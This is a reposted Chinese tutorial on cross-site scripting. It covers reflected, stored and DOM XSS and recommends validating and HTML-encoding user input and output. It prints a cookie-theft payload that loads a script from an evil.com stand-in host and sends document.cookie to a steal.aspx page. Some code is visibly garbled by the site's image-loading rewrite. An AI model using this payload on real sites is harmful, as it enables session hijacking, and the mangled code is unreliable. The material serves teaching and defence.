星空网 > 软件开发 > Java

跨站脚本攻击(XSS)

  • 跨站脚本攻击(XSS)

XSS发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中就出现了不被预期的脚本执行。

跨站脚本的重点不是在“跨站”上,而应该在“脚本上”

简单例子:

在xss1.html页面上面有这么一段javascript

<script>  eval(location.hash.substr(1));</script>

当你在浏览器访问该xss1.html页面的时候,在url后面加上#alert('1') 如file:///C:/Users/Jie/Desktop/3.html#alert(1)

那么浏览器就会弹出这个1。

当然黑客是不会弹窗的,他会利用这个漏洞获取到你的cookie等有用的信息,如把#alert(1)替换成#document.write("<script src='/images/loading.gif' data-original='www.evil.com/xss.js'></script>")

这个xss.js的代码是

new Image().src='/images/loading.gif' data-original="http://www.evil.com/steal.aspx?data="+escape(document.cookie);

再在steal.aspx页面的后台获取data的值

你可能会问,谁这么SB在自己的页面写上那段javascript代码,首先要知道,这段代码不是开发人员在页面写的,而是后来被注入到页面的,怎么注入?这就要说到xss的攻击类型了

  • xss的攻击类型大体有反射型(或者叫非持久型)、存储型(或者叫持久型)、DOM XSS

1、反射型

 页面接受用户的输入,提交到服务器,服务器解析后在响应内容中含有这段xss代码,最后被浏览器解析执行。输入-》后台解析-》前台执行 这就是一个反射过程

比如:后台的代码获取xss.aspx?x=<script>alert(1)</script> url里面的x参数,然后直接在页面把这个x参数输出,那么这就是一个反射型的xss

2、存储型

因为现代的网页都是动态从数据库获取到数据然后生成html网页返回浏览器展示的,存储型的xss代码是直接存储在服务器里面了,当用户访问的这个有xss代码的页面时,攻击就发生了。这些xss代码一般是在获取用户输入的地方,没有做有效的防御,例如有个论坛,有黑客在留言板里面输入了一段含有xss攻击的留言,这个留言就存储到了后台数据库里面,当下一个用户查看这个留言板的时候。从后台返回的xss代码就能对该用户的信息作出攻击了。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于 DOM XSS不需要经过服务器端的解析,触发xss靠的就是浏览器的DOM解析

例如本文开头提到的第一个例子就是DOM XSS

  • 防御手段

XSS的防御手段主要是:不信任用户的输入,校验用户的输入,对用户的输入输出都进行html编码。




原标题:跨站脚本攻击(XSS)

关键词:

*特别声明:以上内容来自于网络收集,著作权属原作者所有,如有侵权,请联系我们: admin#shaoqun.com (#换成@)。

速卖通在韩国推出Choice服务,最快3-5日达:https://www.kjdsnews.com/a/1339112.html
好评返现重出江湖?亚马逊第一时间发出警告:https://www.kjdsnews.com/a/1339113.html
tiktok营销分析玩法,新手老鸟都适用!:https://www.kjdsnews.com/a/1339114.html
2023年4月1日起,墨西哥4.0版CFDI电子发票将强制执行。:https://www.kjdsnews.com/a/1339115.html
中国出口墨西哥汽车零部件市场分析:https://www.kjdsnews.com/a/1339116.html
阿里国际站运营篇(30)阿里国际站直播规则分析及技巧分享:https://www.kjdsnews.com/a/1339117.html
海陵岛马尾岛景点介绍 海陵马尾岛图片:https://www.vstour.cn/a/363177.html
无锡旅游景点竹海 - 无锡的竹海:https://www.vstour.cn/a/363178.html
相关文章
我的浏览记录
最新相关资讯
海外公司注册 | 跨境电商服务平台 | 深圳旅行社 | 东南亚物流